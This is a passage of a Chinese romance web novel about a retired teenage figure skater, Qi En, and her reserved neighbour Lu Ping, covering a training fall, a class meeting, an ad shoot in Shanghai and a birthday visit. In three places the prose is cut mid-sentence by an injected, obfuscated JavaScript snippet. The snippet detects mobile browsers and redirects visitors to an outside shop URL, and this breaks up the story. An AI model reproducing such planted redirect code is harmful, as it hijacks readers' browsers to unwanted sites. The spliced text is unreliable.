齐恩是骄傲的人,骄傲的人往往不需要安慰,只需要认同。在她玩世不恭的表面下,隐藏着无极的自尊。人往往不是一夜之间崩塌了,是情绪的积攒到达一个阈值。无数次强颜欢笑、未被宣泄的苦楚,它们不是消失了,而是潜藏在脑海的深处,等待某个无法抑制的时期。 再杀一个回马枪。 好刺痛人的心脏。 任何安慰的话都无法感同身受。 卢俜只能等待着她平复心情。 仇指导递来一包纸巾,同样没说安慰的话。 “下午别练了,回去好好休息,吃顿好的。” 仇指导带了齐恩八年,比齐恩更了解她,性格就是较真,听话也只听自己的话,别人说了她不会过心。一定要自己也试过,摔过跟头撞过墙,才知道有些事不是一腔孤勇就可以做到。 齐恩并没有摔伤,或者说她们这种人摔也摔出了不少经验,知道如何减轻对身体的伤害。 齐恩还是那个齐恩,擦完眼泪就平复了心情,换下训练服就去闹卢俜,说他身上没几两肉。 “硌得我一点儿也不舒服。” 卢俜说:“……抱歉。” 齐恩在场外换下冰鞋。穿上平底鞋,她跳了两下证明自己完好无损,教练也就放下心了。 去前台做结束登记,顺便把卢俜带来的表格填好,齐恩笑道:“你这下总算能交差了。” “嗯。”卢俜收好了表格。 又不是为了交差才来的。 “走吧,先把表格送回去。”齐恩吸鼻子,“刚才在冰场里冷死了,好想喝点热的。” 卢俜从她手里拿过冰鞋包,齐恩没和他客气,运动包也一并递过去,“负重锻炼一下。” 运动包里装了训练服,不重,卢俜通通接过。齐恩点咖啡,问他喝什么,像是知道他要说什么:“不许不喝,不许随便,不许请客。” 卢俜只好点了一款当下时兴的促销品,名字太长也念不清楚,齐恩点的是热牛奶,脱脂的。 她捧着一杯牛奶慢吞吞地喝,分外悠闲,卢俜则要拎着包。到体育馆外,他们打车回学校。 两人上了出租车,齐恩那一小杯热牛奶早喝完了,卢俜点的是冰的,她问可不可以尝一下。 卢俜直接递给她:“你拿去吧。” “我就喝几口!”她拿纸杯接。 卢俜只好倒给她,还真只倒了几口。 “小气。”齐恩说,“打发谁呢。” 卢俜顾虑的是:“刚喝热的也不能喝冷的。” “好吧。”齐恩笑了,“你好关爱我哦。” 卢俜没有否认,看向齐恩穿着短裤的腿,膝盖上还有未消的淤青,当然也有刚添上去的。 “待会儿先去校医务室,把伤口处理一下。” 齐恩从包里拿出云南白药:“我有这个。” 卢俜认为不能大意,有时候摔到筋骨,当下看不出来,但是第二天起床后就很严重。他俯身看她的膝盖,辨认伤势是否严重,突然有东西按在他的脑袋上。齐恩的手,俏皮地揉了揉。 “这可是你自己送到我手上的。” 齐恩在他生气之前及时撤手。 卢俜尴尬地看了眼司机,对方早就见怪不怪。他无法,紧靠着车窗边,抱着书包生了闷气。 “我摸一下也要生气,又不是没摸过。”齐恩说,“我难过呀,你安慰安慰我不行吗?” “用我的头发吗?” 卢俜瞬间垮了脸色。 生气了!生气了!小猫生气了!齐恩不得不哄他:“行了,下次当着别人的面就不摸了。” “不当着外人的面。” 卢俜闷闷地说。 “也不行。” 到了学校,卢俜先去政教处送完表格,又碰到医务室出来的齐恩,她的肚子正咕咕作响。 齐恩演技大爆发:“卢俜,你饿了怎么……” 一回生二回熟,他抢白:“不是我!不是!” 两人在周围同学们分外不解的目光中沉默。 卢俜觉得丢脸极了,好在齐恩大手一挥放过了他。中午的饭点错过,食堂里早就没东西吃,两个饥肠辘辘的学生只能在小卖部应付一顿。 卢俜照样吃三明治,齐恩则买了全麦面包。 “随便垫吧垫吧。”她撕开面包袋子。 卢俜:“教练让你吃点有营养的。” “你怎么比我还听仇指导的话?” “……有科学依据,本来训练的消耗就大。” “刷题消耗也大,你怎么就吃个三明治?” 卢俜一时竟然难以反驳。 齐恩很快又怼过来。 “难怪你这么瘦。” “……别说我瘦。” “就说,就说。” 卢俜张嘴又闭嘴。 “……幼稚。” “好好好,我幼稚。幼稚的邻居打算请成熟的好学生放学后去吃点有营养的东西,成吗?” 卢俜紧抿着唇,齐恩又问一遍,他小声说成。 下午的班会,刘彩讲了期末考试的具体时间,还强调这次考试的重要性,高二最后一次了,下次就是九月联考,复习节奏需要更加紧促。已经是准高三生,假期补课自然是必不可少,于是将近两个月的暑假也被压缩到短短两周。 “还有一件事,咱学校的补课属于自愿的啊,期末考试之前,学校要求以班级为单位召开动员大会,届时要求学生和学生家长都在场,签署假期留校的协议,顺便聊聊志愿……” “意思就是开家长会呗。“有人接话。 “这可是学校明文规定的啊,别怨我。”刘彩干脆放下手头的文件,“总之就是要补课,七月补到八月中旬,八月底再提前一周返校。这高三的传统艺能了,有什么好大惊小怪的?” “彩老师你说的轻巧!”女生们抱怨,“天天上课,不是你上就是我上,上他爸了个根!” “对啊,什么不等式,方程式,我他爸的可是女士!女士们就应该得到充分的休息!” “男士们也要求休息!”男生们振臂高呼。 “无论男士女士,我们可是未来的学士啊!” “有点志气好不好!”刘彩冷笑,“学士不就是本科么,难道一个本科就把你们喂饱了?” 群情激愤的有、哄堂大笑的也有。 一时间,班内外充满了快活的空气。 刘彩正色:“总之,就是期末考之前有个家长会,把爸妈喊过来,探讨一下你们状态怎样、未来发展方向在哪里。不要怕说,不要怕批评,快高三了还这么点胆量,自己吓自己。” “知道啦———” 孩子们怨声载道。 “要请家长啊。”齐恩若有所思地停笔。 谌俞最先垮了个批脸:“我要完蛋了。” “你考好点儿不就行了吗?”高玟说,“知道你爹那个性格,还总是考那么点分数。” “那我能咋办,我不考清北是因为我不想吗?而且我不光要学,还要早训晚训啊!” 袁礼米指正:“人家齐恩也不比你练得少啊,人家照样学得好,这次总分都上五百了。” “可别。”齐恩抬手,“我这次训练也就是撑场面的,以后不会了,马上要艺考集训了。” “什么时候啊?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13715850|141293||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 高玟问。 “七月中旬就去集训营。” “啊———”高玟抱住她,“补药啊老弟,不要带走齐恩,不要带走齐恩,带走谌俞吧!” “怎么就要带走我了呢?”谌俞哭笑不得,“估计训到什么时候啊,国庆能回来吗?” “肯定要回来啊。十一回来找你们玩嘛。” 袁礼米:“那我把文科的复习重点发你。” “就靠你了小厘米!”齐恩唏嘘,“谌俞你就别想弯道超车了,等我集训完还是考拉你。” “看你得瑟的!”谌俞哼了一声,“我爹给我报了四个培优班,等着吧,我一定能逆袭!” “四个班……”高玟惊呆了,“本来白天就要上课,晚上还培优班,您忙得过来吗?” “唉,时间就像腹肌,绷一绷总是会有的。”谌俞拍了拍自己的腹部,“拼搏一年!” 高玟说:“拼搏一年我要上蓝翔技校!” 齐恩跟风:“拼搏一年我要上新东方!” 袁礼米:“拼搏一年我要上毛坦厂!” “复读不可取啊!”刘彩不知何时从后排冒出,“袁礼米,你这个级别都想着复读了?” “……呃,老师我是开玩笑的。”袁礼米吓得躲在齐恩身后,“我再也不玩抽象了。” 班会过后,大家各自收拾书包回家。 只有张其薪还在座位上一动不动。 几人聊天张其薪也没怎么搭腔,于是高玟疑惑地拍了拍他肩膀:“你怎么了,张司长?” 张其薪脸色很阴沉,整个人肩膀都抖了一下,随后勉强挤出一丝笑容:“……没事。” 齐恩和袁礼米也面面相觑。 “先走了。”他拎包离开。 “他怎么了?”齐恩心想,不至于吧。 应该不是生她那一晚的气。 “这还用说么!肯定是请家长!”谌俞龇牙,“齐恩你不知道,张其薪他爸超可怕啊喂!” “哦哦!”高玟这才明白过来,“我都忘了这一茬了,难怪他一副恐怖片主角的表情!” “……有这么吓人?” 就连袁礼米也不自觉压低了声线。 “真的,很吓人。你见到就知道了。” 想起张其薪的家世,齐恩再次忍不住感慨。 这还真是言情小说男主的标配,高干子弟。 接下来岂不是要写他那个古板的爸、冷漠的妈、破碎的他,还有一个爱而不得的白月光? 越想越离谱,齐恩真该少看点儿网络小说了。她背起包出了班门,卢俜在书吧边等她。 见她过来,他把随手翻看的书籍归还。 “什么书啊?”齐恩拦住他,“我看看。” “建春的新书《金牌律师》。” “我上周刚看完《在上海》!” 卢俜回想:“青果书店是有卖建春的书。” “那就再去买点精神食粮吧,顺便去青年大街解决晚饭。”齐恩很快就做好了行程规划。 从学校到青年大街,可以乘地铁,也可以骑车出行。如果去街东的书店,骑单车更方便。 齐恩和卢俜一人扫了一辆共享单车。齐恩有周卡,让卢俜也办一个,卢俜说平时用不上。 “我每天都是骑车到地铁站,再坐到粤东。” “你训练的时间应该……比上学的时间晚?” “谁说的?我一般天没亮就出门晨跑了。” 原来作息有差,难怪他最近总见不到她。 “你这么问,我只能想到了一种可能。” 齐恩故意把车骑到他旁边并道而行。 “你每天早上偷看我屋亮没亮灯是吧?” 卢俜差点把车骑歪:“……正好看到而已。” 齐恩低笑起来,卢俜太心虚,把车骑快了些。 等绿灯,齐恩的笑声和她的车头一齐追上来。 “卢俜。”她直白地打量他,语气很认真。 “我发现你有点闷骚啊。” 22. 师姐师妹 翌日上午十点,齐恩落地沪城虹桥机场。 王玉脸色很臭,站在接机的队伍之中。 “诶,王玉,你终于舍得来了。”郑飞燕揶揄地道,“不是说死也不会见齐恩的吗?” “……要你们管。”王玉把鸭舌帽下压,纯黑的瞳孔比常人要大,冷得像冰,瞪人时杀伤力尤重。即使在同一个队里,抬头不见低头见,郑飞燕还是有点怵王玉,这孩子太吓人了。 郑飞燕笑说她好凶啊,又往身后周诠怀里躲。周诠是她男朋友,去年开始交往,官二代。两人也是机缘巧合相识,并且公开了恋爱关系。 齐恩退役半年,王玉在成年组还未崭露头角,年仅二十二岁的郑飞燕是国家队的主力选手,也是各大女单赛事中金牌的最有力争夺者。 郑飞燕有一双灵动的荔枝眼,神似某个九十年代港风女星,因此早起被媒体称为小谁谁谁,她也是滑出名气后才摆脱这个头衔。王玉和郑飞燕关系不好,不过王玉和所有人关系都差。 但齐恩和郑飞燕处得不错,对于郑飞燕来说,齐恩还是个学生妹,说话倒是挺有意思。 周诠捏着郑飞燕的脸,温笑着说一声乖。 周诠年方二十二,整个人玉树临风,浓眉薄唇,鼻梁削高偏顿,是标准的熟男长相。两个人无论从家世还是性格来说,都挺符合对方的期望,也有不少记者称赞他们为金童玉女。 其余的队员也说说笑笑,神情惬意。对于在役的运动员们来说,拍摄广告就相当于小度假,没有赛事的夏季就相当于大假期。虽然也要执行训练计划,但赛程不紧张,大家都很乐意。 “诶,齐恩!”有人挥手。 齐恩拖着行李箱走过来。 大夏天赶行程,齐恩也穿得很清凉,咖啡色吊带和牛仔热裤,及腰的马尾松散地垂在肩上。她摘下墨镜挂在低垂的领口,清丽美艳的脸蛋还是堪称标致,与之相称的是她一贯的笑容。 “好久不见,师哥师姐。”她和一众队友拥抱。轮到郑飞燕,对方夸她又变漂亮了,问她是不是去做美容了,怎么连气色也红润不少。齐恩说可不是么,自从退役后姨妈都准时了。 “这是你说的那个男朋友?”她笑问郑飞燕。 周诠盯着齐恩失了神,被女友提醒才正色。 “你好。”周诠说,“我是燕燕她男朋友。” “怎么回事啊师姐,他不是上次那个啊?” 郑飞燕也被逗笑,解释道:“齐恩就爱瞎说,你别听她,我们队里最会满嘴跑火车的。” 周诠心想她就是齐恩。电视上当然有见过,这一代家喻户晓的花滑天才,但屏幕里和现实又不太一样。话说她可真漂亮,那样形容也不准确,漂亮最多指皮囊,齐恩是正统的骨相美。 齐恩没多在意他,撒欢儿就去找王玉要抱抱。这死小孩,戴个鸭舌帽就以为她认不出了。 齐恩去捏她的手,王玉说她臭不要脸的。这还用她说?齐恩不仅臭不要脸,还死皮赖脸。 齐恩唱歌儿:“王玉王玉我们喜欢你……” 王玉黑了脸,怒骂她又在网上瞎看些什么。 齐恩委屈死了,问王玉那天为什么不接电话,王玉说不想接。实际上她自己都觉得没面子,大半夜和队友吵架,怒气冲冲出走训练基地,五个小时后,给自己在北京城里徒步迷路了。教练找不着人,想着齐恩和她最亲,让齐恩打电话劝。没想到王玉狠起来连她的电话也挂。 王玉本来一个字都不想提,后来又不甘心地问:“该不会高教练让你打,你才打的吧?” 齐恩心想,她确实通过高教练才知道这件事,王玉看出她的迟疑,气的整个眼眶都红了。 “你给我滚!!!” 啧,真难哄。 跟某人一样。 主办方租了整整两天的场地,齐恩和王玉的拍摄任务都在头一天。齐恩完成得很出色,除了最有难度的3A连跳没复刻。王玉又进步了,这家伙才是后生可畏,真是长江后浪推前浪。 齐恩的路途已经到尽头了。 而王玉的征程才刚开始。 注视着和曾经的自己极为相似的身影,齐恩也出了神。王玉和她,不仅训练习惯大同小异,就连家庭背景也如出一辙。都是单亲家庭,很小在队里生活,每天都练功练得很苦很累。 比起她,王玉的家庭条件差得多,刚开始没补助,奶奶砸锅卖铁才负担得起她的学费,后来教练为她申请到津贴才继续滑下去。再后来到国家队,齐恩这当姐的替教练操了大半个心。 所以王玉当然和她亲。 齐恩想,她不和自己亲还和谁亲? 但也没必要那么轴,对谁都凶巴巴的。 正感慨时光匆匆,身边突然站了一个人,齐恩扭头,发现是周诠,八成是来探郑飞燕的班。 “咖啡,你喝吗?”周诠递给她牛皮纸袋。 齐恩没和他客气:“谢谢啊,跟着飞燕姐混,三天喝九顿,我们这些队员可真有福气。” “应该的,都是燕燕的队友,以后多关照。” “我都是前队友了。”齐恩没所谓地自嘲,“你应该让王玉她们多关照关照她。” “王玉?那个短头发的小孩吗?她是今年才进成年组?之前在冰坛怎么没听过这号人物?” 大概因为王玉给郑飞燕摆了臭脸,连带周诠对她印象也不好。齐恩不喜欢他找话题的方式。 “那你很快就会听过这号人物。”她抬起下巴高傲地道,“这是我家的小孩,很厉害的。” “你也刚满十九吧,自己都是个孩子呢。” “在运动赛场上,我们不以年龄划分这个。”齐恩说,“我赛龄已经很久了,够格带她。” 齐恩对年长者并无多少敬重,尤其对方言语间轻视了王玉。她没打算和周诠闲聊,他却自说自话:“我弟弟和你一个年龄,也读高二。” “挺巧。”齐恩应付,“要高考倒计时了。” “是啊,他是那种学习不用别人操心的孩子。你呢?刚复学,学校生活什么的都习惯吗?” “我么?”齐恩指了指自己,“你问我?” 他和她熟吗?怎么一点儿边界感也没有? “你好像对我不是特别待见啊。”周诠微笑,“我就是随便找个话聊,顺便等燕燕下班。” “那你继续等吧。” 齐恩往别处走去。 周诠却突然伸手拦住了齐恩。 “干嘛?”她瞬间冷了脸色。 “都是燕燕的朋友,加个联系方式呗。” 齐恩抱着臂:“为什么?不要了吧。” “我没有别的意思,就是认识认识。” “那你加了除我以外的队友吗?” 周诠收敛笑意:“……没有。” “那为什么加我?我漂亮吗?” “你很优秀。”周诠解释。 “优秀也和你没关系吧。” 对方比她年长五岁,又是师姐的男朋友,齐恩不好多说什么,如果是同龄人她早就翻脸了。 这时候才感受到,尊重女性是多么值得学习的课题,卢俜在这一点就做得很好,谌俞也是,最起码张其薪也不赖。一些年长男性,从所谓哥哥到叔叔,明明应该更成熟,却反而浸淫在社会的大染缸里,变得越来越不懂尊重女性。 是男人到了一定岁数就会变坏。 还是本来就很坏的男生长大了。 齐恩分不清楚。 唯一清楚的是。 她要远离这样的人。 正好王玉拍摄完了,齐恩立刻上前给她递水,再不理会身后的周诠。她确实对他观感不好,也认为不会和所谓“师姐的男友”再打交道。 没想到次日还是在酒店大堂见到了。 郑飞燕跟两位师妹打招呼:“本来想着拍完广告在沪城多玩两天的,结果周诠说他弟弟有事要处理,所以临时退房了……你们这是去哪儿啊?前滩太古里?周诠可以开车捎你们。” “我们叫车。”王玉言简意赅。 “干嘛浪费那个车钱呀,在沪城这地方打车也不便宜。”郑飞燕亲热地挽了挽齐恩的胳膊,“再说你好久没陪我逛街了,师妹,咱们上次逛街是什么时候来着?去年?还是前年?” “没事,王玉,有车白不坐?” 齐恩和王玉上了周诠的车。 隔着后视镜,和主驾驶座上的男人视线撞上,齐恩没有迟疑,抬起漆黑的眼睫和周诠对峙。 周诠笑道:“好像不愿意坐我的车。你们女生肯定都喜欢开超跑的,不喜欢我的破大G。” “我喜欢开黄包车的。”齐恩随口胡诌。 郑飞燕总能被小师妹逗得花枝乱颤。 王玉指着窗外:“你说的是那种?” 现在都是沪城独特的旅游项目了。 “是的。”齐恩挺感兴趣,“待会儿租一辆,我在前面吭哧吭哧拉,你在后面玩手机。” 王玉无语了,张了张嘴,又闭上,又张嘴。 “滚。” 齐恩只和师姐师妹说话,全程都不搭理周诠。周诠自讨没趣,只能当司机。到商场大家各逛各的,王玉被齐恩盯着,老老实实买了不少衣服,最后两只手都提不下,找个茶餐厅歇脚。 “吃完中饭看电影吧。”齐恩打开订票软件,“我看最近有个评分挺高的警匪片。” “随便。”王玉向来齐恩说什么就是什么。 当然,闹脾气的时候除外。 昨晚齐恩和王玉也聊了很多,齐恩说起自己这半年在榕城的新生活,王玉扣着手指不应声。 后来实在没话可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13723671|141293||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 聊了,两人共躺在一张床上。 面对着苍白的天花板。 王玉默默流下了眼泪。 人都需要一定时间想通,齐恩自己也不例外,更别提爱她的人,她不怪王玉这半年的冷漠。 “你有想过以后做什么吗?” “老实说我每一天都在想。” “自从决定退役后的每一天,我都在想,除了滑冰到底还有什么可以做?我做了很多尝试,大多为了逃避。其实吧,我心里早就有答案,回去读高中。我爸说支持我一切决定,但这就是最好的决定了。毕竟人生还有那么漫长。” “慢慢找吧,总能找到下一个喜欢的事。” “说得轻巧,要是一直找不到呢?”王玉问。 “那就这样呗,看着你滑我也挺开心的。” 王玉翻了个身:“你唯独没有考虑过我,你走了我该怎么办,以后的承诺谁来兑现。说好了要站在同一个领奖台上,你还是当了逃兵。” 齐恩从身后抱住她。 “那你也会理解我的。” “对吧?”齐恩轻声问。 王玉懵懂而迟钝地点头。 《钢筋城市》是一部精彩的动作片,以偶然发现碎尸的大学生陈绍籍的视角展开。齐恩还留意一个配角,方域警官,虽然镜头不多,但胜在演绎出彩,看了演员表,并不熟悉的名字。 电影在黄昏时分散场了。 齐恩和王玉走到广场外。 王玉评价:“他长得好港式,有点混血范。” “你说方域?”齐恩查了一下,“小演员。” “你既然学的表演,将来准备上大荧幕?” “也不一定,当制片人的可能性更大。” “想那么远干嘛。”齐恩笑笑,“说不定好学校没考上,又收拾收拾复读当文化生了。” “……干嘛说丧气话。”王玉平静地,“如果你以后不能出人头地,那我就去死算了。” 齐恩被她这话吓到了:“你瞎说什么?!” “我接受不了别人遗忘你,就这么简单。” “那总是要被忘记的啊。忘记就是忘记,还说遗忘,搞的那么文艺。再说哪有人不被忘记的,就是伟人也会被人遗忘,不然怎么天天有人呼吁铭记谁谁,你也是没事想太多了。” 王玉面色一沉不说话了。 齐恩接到郑师姐的电话。 “在香格里拉?好的,我和王玉这就过来。” 王玉问:“谁请吃饭,郑飞燕男朋友?” 齐恩说是,郑飞燕和周诠请队员们和拍摄团队一起吃饭。这就属于应酬环节了,虽然不想,但必须得去,也算是给广告商一个面子。两人到了随便吃点,齐恩晚上还有回榕城的航班。 “你也是今晚走?”郑飞燕指了指周诠,“他也是今晚的航班,要不要顺路捎你去机场?” 周诠依旧是那副风流倜傥的派头,侧了侧身,朝齐恩微笑不语,似乎在等她拒绝与否。 齐恩推辞:“我还有行李要拿。” “他也正好要回酒店一趟。” 话都说到这个份上了,齐恩也不再推拒。先把王玉送回酒店,齐恩收拾了行李。再次到酒店大堂的时候,周诠正在外面边抽烟边等,齐恩走过去问:“你开车去机场?车就放那儿?” “会有人帮忙开回去的。”周诠回答。 “好吧。”齐恩抬下巴,“上车吧。” 齐恩坐了后座,周诠知道她在想什么,无奈地摇头。一路无话,到了虹桥机场,齐恩办行李托运,发现自己的航班号正好和周诠对上。 “你也是回榕城?”她脸色稍微好些了。 “是啊,不忙的时候在那边住。”周诠问,“你在榕城读书?那学习压力不小。” “还好吧,都是全国一卷,华南特色了。”齐恩想了想,还是说,“谢谢你捎我一程。” “这有什么好谢的?”周诠的视线在她脸上多停留两秒,沉吟片刻开口,“你讨厌我吧?” “就是觉得有点……”齐恩委婉地道。 “不熟,看你怎么能理解。” “正常,因为你很美,又很年轻,一表人才。以后社会上像我这种的男人比比皆是。” 齐恩没想到他那么直白。 但她反应力很快,立刻反击道:“那我有没有说过,你这幅说教的态度也很让人讨厌?一见面就拿长辈的身份摆架子,做的又不全是长辈的事,一点分寸感都没有。你的意思是社会上的男人都会喜欢我这一款,就算有对象也会忍不住纠缠我?那太可怕了,你在辱骂我吗?” 周诠愣住,随即脸上挂不住笑容。 “我是小孩,所以容易说错话。” 齐恩顽劣可爱地朝他笑了笑。 “你可千万别和我见谅啊。” 23. 大人小孩 不是你可千万和我见谅啊。 是你可千万“别”和我见谅。 意思就是你别放过我,要生气尽管生,被冒犯到也是你自讨苦吃,齐恩是绝对不会道歉的。 “是你千万别和我较真才对。”周诠苦笑,“我知道了,对不起,这两天是我冒犯。为表歉意,我帮你升个舱吧,你不是经济舱吗?” “我爱坐经济舱,经济人坐经济舱。” 齐恩压根不想欠周诠的人情。 航程一个半小时,到家不过晚上十一点。 齐恩次日还要去广城,她把动车票给买了。 一回到家,她感到舟车劳顿,这些天的训练让身心都很疲惫,只想躺着好好刷会儿手机。 高玟又更新了,是在写作业的书桌上挠小猫,可恶,这么幸福,齐恩心想属于我的小猫呢? 正想着,小猫不请自来。 卢俜的消息:“在家?” “刚到,十点多下的飞机。” “嗯,看到你家的灯亮了。” 齐恩嘴角上扬:“怎么又偷窥我?” “……没有偷窥,有东西要给你。” “我猜猜,该不会是你的小猫脑袋?” “想多了。”卢俜问,“方便吗?” “方便!方便面都没有我方便!” 半分钟后,齐恩家的门被敲响。 卢俜一手抱着牛皮纸袋,另一只手还维持着敲门的姿态,没想到齐恩下一秒就开门了,简直就是守在门口听他的动静!卢俜猝不及防地退后两步,那模样,像平白无故受惊的小猫。 “……这是给你的生日礼物。” 齐恩闻到了浓郁的草药味儿。 “中药?”她低头翻看纸袋。 “药贴。”卢俜煞有其事,“你的膝关节和脚踝本来就有旧伤,七月份是三伏天,你天天在空调底下吹,又爱喝冰的,热气。”他又拿出一袋凉茶,“这个每天泡一点喝,很有用。” “这……是……”齐恩细瞧。 包装上是手写的“祛湿茶”。 “我真服了你们广东人。” 卢俜不明所以地瞧她。 “进来。”齐恩侧身,“站在门口不热?” 卢俜说不用,齐恩笑问难不成还要我请你。 卢俜只好进屋,齐恩递给他没拆过的拖鞋。 他意识到自己是这双拖鞋的第一个使用者。 齐恩踮起脚尖,去够橱柜上的陶瓷茶壶:“这个东西我万年不用了,没想到今天能用上。” 她双手托着壶身,没想到壶盖脱落了下来。 齐恩“诶哟”了一声。 卢俜却眼疾手快接住。 过快的动作,卢俜的前胸贴上她的后背,齐恩诧异地抬头,只看到他脖颈上的青筋,和分外明显的喉结。卢俜喉结滚动了两下,明显很紧张,使他紧张的,不仅仅是易碎的陶瓷壶盖。 齐恩的头发碰到他的手臂,发端是略微刺感,像被小刷子轻轻地扫过。卢俜把茶壶盖子放了回去,老实本分坐在沙发上。本来就局促,这下子更窘迫了,双手双脚都不知该如何摆放。 “你反应力还挺快。”齐恩惊叹。 卢俜嗯了一声,看手机缓解尴尬。 “别看了,你那手机又没有游戏,又没有小视频,有啥好看的,装模作样!”齐恩在厨房里忙活,“快来教教我,这个茶怎么泡?要不要先过水?还是直接用开水泡了就可以喝?” 齐恩不懂这个,到最后变成卢俜泡,她在一边看着。齐恩背靠冰箱,和他分享沪城拍摄广告发生的事情,说到郑师姐的男朋友,她不掩饰嫌恶:“真讨厌这种没有分寸感的大人。” 大人和小孩,似乎没有一个明确的界限。有些年幼的孩子很早就挑起家里的重担,已经够格成为一个大人,而有些大人却活得不明不白,反倒给社会添堵,这一点还不如一个小孩。 卢俜觉得齐恩目前能养活自己,不缺朋友,处事也有原则,某些方面……懂的也比自己多,已经算成熟的人。但言辞上齐恩确实是孩子,和这个年龄段的人一样。卢俜有时候觉得她太幼稚了,真是非常难以应付的一个人,又嚣张蛮横,不过度把握得好,也是一种人格魅力。 齐恩问:“你觉得我们算是小孩还是大人?” “按年龄来说,满十八周岁就是成年人了。” “可是,有时候还是想要当小孩。” 卢俜想了想:“这并不冲突。” 水烧开了,咕噜咕噜的声响,牛奶一样浓的水蒸气从烧水壶冒出,把逼仄的厨房弄得朦胧。头顶的白炽灯也柔和了,齐恩去看认真泡茶的卢俜,少年英挺的眉骨鼻梁也映得温柔细腻。 真乖,齐恩心想,他真是一个周正的孩子。 “卢俜,我对你的感情有一点复杂。” 卢俜闻言,先是困惑,随即红从耳尖蔓延开。 “……麻烦你不要说些容易让人误会的话。” “不是。”齐恩很严肃。 “我想生你。” 卢俜的沉默长达数十秒钟。 他拿起茶壶抬脚往客厅去。 “诶,我是认真的。”齐恩跟在他身后,“你说你这么乖的小孩,回回考试都是第一,竞赛拿奖拿到手软,喂卢俜,你是不是上小学就不让你妈操什么心啊,从小可爱到大的那种?” 说到家庭,又是卢俜不想提及的话题。 只是,面对齐恩,总会有些例外。 “没有。”卢俜倒茶,“她不在乎。” “不在乎?不在乎成绩,还是……” “不在乎我。”卢俜声音很轻。 “她只是……不在乎我。” 能心平气和说出这个事实,其实卢俜已经不在意了。齐恩却是头一次有接不住的话题,哪怕她只是开个玩笑。哪有家长不在乎孩子?不在乎。确实没从卢俜的生活里发现父母的痕迹。 齐恩想到下周一的家长会。 “那你家长会咋办?你妈来吗?” “她说她不会来。”甚至连一个托辞都没有。 简单一句不会来,否决了一切母爱的可能性。 齐恩斟酌:“那你的继父……” “他在京城工作,平时不联络。” 齐恩咋舌,小可怜,这是货真价实的小可怜。 哪有人开个家长会连一个家长都凑不出来的。 齐恩打诨:“总不能喊卢佳来吧,哈哈哈。” 卢俜竟然认真回答:“她会捅死我的同学。” “什么?这也太吓人了吧,好反社会!” “初中的时候,后爸让她去开我的家长会。”卢俜说,“她这样说过,原话就是这个。” “她该不会有精神方面的……” 齐恩指了指自己的脑袋。 “没有,她很正常。她只是讨厌我。” 换做任何一个人,都会厌恶他和他妈。 这么多年卢俜早就习惯了。 “好吧。这样看来,没人来也是件好事。” 卢俜认同,他啜饮一口茶水,热度弥漫喉间。 齐恩看他喝得挺香,自己也尝了两口,立刻苦了脸色。“这是什么茶啊?感觉像泔水。” “茯苓,木棉,薏米,云茶……”卢俜报着。 “行了。”齐恩抬手,“不是真的在问你。” 卢俜确实有些无措,对于他来说,饮凉茶就和吃饭喝汤一样,都是广东地区的习俗而已。 “抱歉,我不知道你不爱喝这个。”卢俜尴尬起身,“你放那儿,我待会儿一起倒掉。” “那怎么行?这可是你给我泡的。” 齐恩闷了一大杯,“干!” 简直是舍命陪君子,卢俜只好又坐下。 “是我没考虑到,刚喝确实会不习惯……” “我习惯!我习惯!”齐恩夸张地举杯,“以后我天天泡,泡两壶,喝一壶,倒一壶。” “……倒也不必。”卢俜嘴角上扬一瞬。 尽管只是微乎其微的弧度。 但至少可以证明他笑过。 其实他还是挺高兴的吧?有她这个朋友。 齐恩如此想着,内心也不自觉雀跃起来。 卢俜看一眼表:“没别的事,我就回去了。” “也好,慢走慢走,本宫也要眠一眠了。” 卢俜走到门口,齐恩又突然说等一下等一下。 他停住脚步回头看去,齐恩光着脚跳下沙发。 她冲了过来,笑容狡黠,抬臂,伸手向他。 那一瞬间,卢俜其实有预感她要做什么。 他并未产生躲闪的意识。 或许也没有这个必要。 齐恩揉乱了他的头发,揉啊揉,揉啊揉,卢俜心想她揉得也太久了,这次真的有点过分了。他脸色不霁,示意性轻咳一声,齐恩心领神会地收手,朝他展露那月色般皎洁明亮的笑容。 “小猫,我放你一马。” 卢俜离开了她家。 回到自己的居所,卢俜站在漆黑的空间里,齐恩的手触碰的感觉挥之不去。他不自觉地抬手摸了摸发顶,并没有特别的手感,是什么让她如此开心?同时,是什么使自己变得奇怪? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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到了地方,齐恩进包厅里和叔叔们打招呼,他们也刚来。有人调侃说你来了我们才敢点菜。 齐恩笑说哪里的事。 悄悄到齐致身后,他正拿着菜单勾选,齐恩猛拍他左肩,结果又闪到右边。敢这么做的人只有闺女一个,齐致呵呵直笑,眼尾细纹都深了些。齐恩环住老爹的肩膀,选自己爱吃的菜。 “诶,齐致见闺女,笑得那不值钱的样儿。” “哈哈哈,哪里是见闺女,那是见天仙呐。” 